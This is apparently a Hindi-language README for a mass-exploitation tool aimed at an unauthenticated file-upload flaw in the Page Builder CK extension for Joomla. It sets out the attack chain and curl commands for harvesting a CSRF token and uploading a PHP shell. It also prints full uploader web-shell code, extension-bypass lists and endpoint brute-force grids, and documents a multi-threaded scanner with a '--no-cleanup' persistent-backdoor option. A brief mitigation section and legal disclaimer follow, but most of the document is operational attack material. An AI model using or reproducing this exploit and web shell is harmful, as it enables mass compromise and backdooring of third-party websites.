
📤 CVE-2026-56290 के लिए सामूहिक शोषण फ्रेमवर्क — Page Builder CK Joomla में बिना प्रमाणीकरण के फ़ाइल अपलोड से RCE
CVE-2026-56290 Page Builder CK (com_pagebuilderck) में एक क्रिटिकल-गंभीरता वाली भेद्यता है, जो एक लोकप्रिय Joomla पेज बिल्डर एक्सटेंशन है। browse.ajaxAddPicture कंट्रोलर विधि उपयोगकर्ता-नियंत्रित गंतव्य पथ के साथ अनप्रमाणित फ़ाइल अपलोड स्वीकार करती है, जिससे हमलावर वेब-सुलभ निर्देशिकाओं में मनमानी PHP फ़ाइलें लिख सकते हैं।
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
path पैरामीटर पर केवल trim() सैनिटाइज़ेशन लागू होता है — न कोई व्हाइटलिस्ट, न डायरेक्टरी ट्रैवर्सल जाँच, न प्रमाणीकरण गेट। किसी भी Joomla पृष्ठ से सार्वजनिक रूप से सुलभ CSRF टोकन के साथ मिलकर, हमलावर किसी भी लिखने-योग्य निर्देशिका में PHP शेल दूरस्थ रूप से अपलोड कर सकते हैं।
| वेक्टर | गंभीरता | प्रभाव |
|---|---|---|
| अनप्रमाणित फ़ाइल अपलोड | 9.8 (क्रिटिकल) |
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
नोट: संस्करण का पता Joomla manifest फ़ाइल
/administrator/manifests/files/com_pagebuilderck.xmlसे लगाया जाता है। यदि manifest सुलभ नहीं है, तो स्कैनर डिफ़ॉल्ट रूप से लक्ष्य को संभावित रूप से असुरक्षित मानता है।
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target Single target URL
-f, --file File with target URLs (one per line, # for comments)
-o, --output Live TXT output file (default: cve-2026-56290_live.txt)
--json JSON report file path (default: cve-2026-56290_report.json)
--threads Concurrent workers (default: 20)
--timeout Request timeout in seconds (default: 15)
--no-cleanup Leave shells on target (persistent backdoor)
-v, --verbose Verbose endpoint discovery output
--known-endpoint Skip discovery: task,file_param,folder_param
# Single target
python cve_2026_56290.py -t https://target.com
# Mass scan from file
python cve_2026_56290.py -f targets.txt
# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
Live TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2s
✅ https://target-vuln2.com [rce_confirmed] 15.1s
PBCK: 3.1.0 [VULN]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE Confirmed : 2
⚠️ RCE Failed : 1
🛡️ Patched : 1
🔍 Need Diff : 0
❌ Not Joomla : 0
⏭️ No Component : 1
💥 Errors : 0
==================================================
चरण 1 — CSRF टोकन प्राप्त करें
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
चरण 2 — PHP शेल अपलोड करें
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
चरण 3 — RCE सत्यापित करें
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution
स्कैनर एक स्व-निहित अपलोडर शेल तैनात करता है — इसके लिए exec(), system(), या eval() की आवश्यकता नहीं होती:
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
शेल क्षमताएँ:
f=@file के माध्यम से अतिरिक्त फ़ाइलें अपलोड करें?cleanup=1 के माध्यम से स्वयं-नष्ट करें┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Joomla │ │ │ Endpoint │ │ Extension │ │
│ │ Detection │ │ │ Brute-force │ │ Bypass Grid │ │
│ │ (2-phase) │ │ │ (1000+ combo)│ │ (40+ exts) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ PBCK │ │ │ CSRF Token │ │ PHP Shell │ │
│ │ Detection │ │ │ Harvester │ │ Deployment │ │
│ │ (probes) │ │ │ (5 pages) │ │ (20+ paths) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Version │ │ │ │ Validation │ │
│ │ Check │ │ │ │ + Cleanup │ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
स्कैनर प्रति-लक्ष्य समय बजट (15s) के साथ स्तरीय ब्रूट-फोर्स दृष्टिकोण का उपयोग करता है:
प्रत्येक संयोजन: एक .txt प्रोब अपलोड करें → GET के माध्यम से सत्यापित करें → सफलता पर मिलान करें। पुष्टि होते ही तुरंत परिणाम लौटाता है।
CKFile::makeSafe() कुछ कॉन्फ़िगरेशन पर .php को ब्लॉक करता है। बायपास रणनीति:
Tier 1: Fast
php, PHP, pht, phar
↓ (if blocked)
Tier 2: Case juggling
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (if blocked)
Tier 3: Alternative handlers
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (if blocked)
Tier 4: Double extensions
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (if blocked)
Tier 5: Windows tricks
php., PHP., php. , php.SWF
Joomla का CSRF टोकन हर पृष्ठ में एम्बेडेड होता है — होम, लॉगिन, पंजीकरण, संपर्क फ़ॉर्म, एडमिन:
CSRF_PAGES = [
"", # homepage
"/index.php?option=com_users&view=login", # login
"/index.php?option=com_users&view=registration", # registration
"/index.php?option=com_contact&view=contact&id=1", # contact
"/administrator/index.php", # admin login
]
पैटर्न A — HTML छिपा इनपुट: <input type="hidden" name="<hex32>" value="1">
पैटर्न B — JSON कॉन्फ़िग: "csrf.token":"<hex32>"
चरण 1 — HTML फ़िंगरप्रिंट (तेज़, निर्णायक)
<jdoc:include>, joomla-script-options, "csrf.token"/components/com_, /modules/mod_, /plugins/system/चरण 2 — एडमिन पैनल जाँच (फ़ॉलबैक)
/administrator/ पृष्ठ लाता हैname="username", mod-login-, administrator/templates/Tier 1 — HTML मजबूत संकेतक
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
Tier 2 — पुष्टि के साथ HTML कमजोर संकेतक
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
Tier 3 — प्रत्यक्ष फ़ाइल जाँच (उन इंस्टॉलों को पकड़ता है जहाँ PBCK होमपेज पर नहीं है)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt
🚨 केवल शैक्षिक & अधिकृत परीक्षण प्रयोजनों के लिए
यह सॉफ़्टवेयर केवल शैक्षिक उद्देश्यों और वैध सुरक्षा अनुसंधान के लिए प्रदान किया गया है। इसका उपयोग निम्नलिखित द्वारा किया जाना अभिप्रेत है:
- 🛡️ सुरक्षा पेशेवर जो अधिकृत पेनेट्रेशन परीक्षण कर रहे हैं
- 🏢 संगठन जो अपने स्वयं के Joomla इन्फ्रास्ट्रक्चर का ऑडिट कर रहे हैं
- 🔬 शोधकर्ता जो भेद्यता एक्सप्लॉइटेशन तकनीकों का अध्ययन कर रहे हैं
- 🎓 छात्र जो वेब एप्लिकेशन सुरक्षा सीख रहे हैं
❌ आप इस सॉफ़्टवेयर का उपयोग निम्नलिखित के लिए नहीं कर सकते:
- स्पष्ट लिखित प्राधिकरण के बिना कंप्यूटर सिस्टम तक पहुँचना
- उन सिस्टमों से समझौता, क्षति या विघटन करना जो आपके स्वयं के नहीं हैं
- किसी भी प्रकार की अवैध गतिविधि में संलग्न होना
⚖️ कानूनी सूचना
कंप्यूटर सिस्टम तक अनधिकृत पहुँच निम्नलिखित सहित (किंतु इन्हीं तक सीमित नहीं) कानूनों का उल्लंघन करती है:
- संयुक्त राज्य अमेरिका: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- इंडोनेशिया: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- यूरोपीय संघ: Directive 2013/40/EU
- यूनाइटेड किंगडम: Computer Misuse Act 1990
लेखक इस टूल के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए कोई दायित्व नहीं लेते हैं। इस सॉफ़्टवेयर का उपयोग करके, आप स्वीकार करते हैं कि आप अपने कार्यों के लिए पूर्ण रूप से जिम्मेदार हैं और सभी लागू कानूनों का पालन करने के लिए सहमत हैं।
⚡ सुरक्षा अनुसंधान समुदाय के लिए सटीकता के साथ निर्मित ⚡
Joomla® Open Source Matters, Inc. का एक पंजीकृत ट्रेडमार्क है।
यह प्रोजेक्ट Joomla, Open Source Matters, या Page Builder CK से संबद्ध या समर्थित नहीं है।
| मनमाना PHP कोड निष्पादन |
| CSRF टोकन संग्रहण | 5.3 (मध्यम) | अपलोड श्रृंखला को सक्षम करता है |
| सूचना प्रकटीकरण | 5.3 (मध्यम) | एक्सटेंशन संस्करण फ़िंगरप्रिंटिंग |
| Page Builder CK संस्करण | स्थिति | टिप्पणियाँ |
|---|
| 3.1.1 और उससे नीचे | 🔴 असुरक्षित | अनप्रमाणित अपलोड की पुष्टि |
| 3.4.10 और उससे नीचे | 🔴 असुरक्षित | विश्लेषण के अनुसार विस्तारित सीमा |
| 3.5.10 और उससे नीचे | 🔴 असुरक्षित | कुछ पैच किए गए वेरिएंट मौजूद हो सकते हैं |
| > 3.5.10 | 🟢 संभवतः पैच किया गया | manifest XML से सत्यापित करें |
🔍 टोह
|
💀 एक्सप्लॉइटेशन
|
| स्तर | कार्य | फ़ाइल पैरामीटर | फ़ोल्डर पैरामीटर | गंतव्य पथ | कुल संयोजन |
|---|
| Tier 1 (पुष्ट) | browse.ajaxAddPicture + 3 अन्य | file, Filedata | path, folder, dir | शीर्ष 4 PBCK निर्देशिकाएँ | 96 |
| Tier 2 (पूर्ण ग्रिड) | 12 कार्य | 4 पैरामीटर | 5 पैरामीटर | 20+ पथ | 4,800+ |
| संसाधन | लिंक |
|---|
| NVD प्रविष्टि | CVE-2026-56290 |
| Joomla सुरक्षा | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| OWASP फ़ाइल अपलोड | अप्रतिबंधित फ़ाइल अपलोड |